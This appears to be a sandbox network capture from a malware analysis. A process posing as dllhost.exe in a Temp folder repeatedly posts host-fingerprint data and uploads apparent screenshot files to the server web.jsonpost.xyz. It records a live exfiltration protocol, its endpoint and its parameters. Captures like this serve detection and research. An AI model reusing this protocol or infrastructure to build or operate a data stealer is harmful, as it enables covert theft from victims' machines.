Nov 29, 2024 01:52:07.546147108 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:07.909174919 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:07.909291983 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:07.909410954 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:07.909450054 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:08.029314995 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:08.029454947 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:08.029474020 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:08.029537916 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:08.029555082 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:08.029644966 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:08.029726028 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:09.059854984 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:09.438774109 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:09.438805103 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:09.438875914 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:09.438915014 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:09.559099913 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:09.559142113 CET	9888	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:09.559156895 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:09.559190989 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:09.559205055 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:52:09.679168940 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:52:09.679184914 CET	2472	OUT	Data Raw: 48 d2 29 c1 21 77 6d 0b 90 70 0a 93 8e f9 e6 b6 2e a3 8e 2d 6a f2 d6 de e6 d1 d5 75 28 ec 44 29 33 b3 40 d2 13 e5 ef 24 63 9c 1e 85 b1 d0 e0 f1 59 17 d0 de dd d8 cf 6f 25 95 93 dc 4c 81 1e f7 e7 59 1c 0e ec 03 6c 2d 8e 37 6d cf 7c e7 9a ae 6d b5 Data Ascii: H)!wmp.-ju(D)3@$cYo%LYl-7m\|m\]jj2ob\|w,r:9qqqk=WsyfOknl%G7"($rFml1\\C#32Ac]ic8bmlen(`($I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:10.344719887 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:10.590292931 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:10.590323925 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:10.590398073 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:10.590428114 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:10.710427999 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:10.710479975 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:10.710503101 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:10.710582018 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:10.710678101 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:10.710767031 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:10.710784912 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:11.828202009 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49741	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:12.217291117 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:12.217314959 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:12.217379093 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:12.217401028 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:12.337461948 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:12.337558985 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:12.337590933 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:12.337646961 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
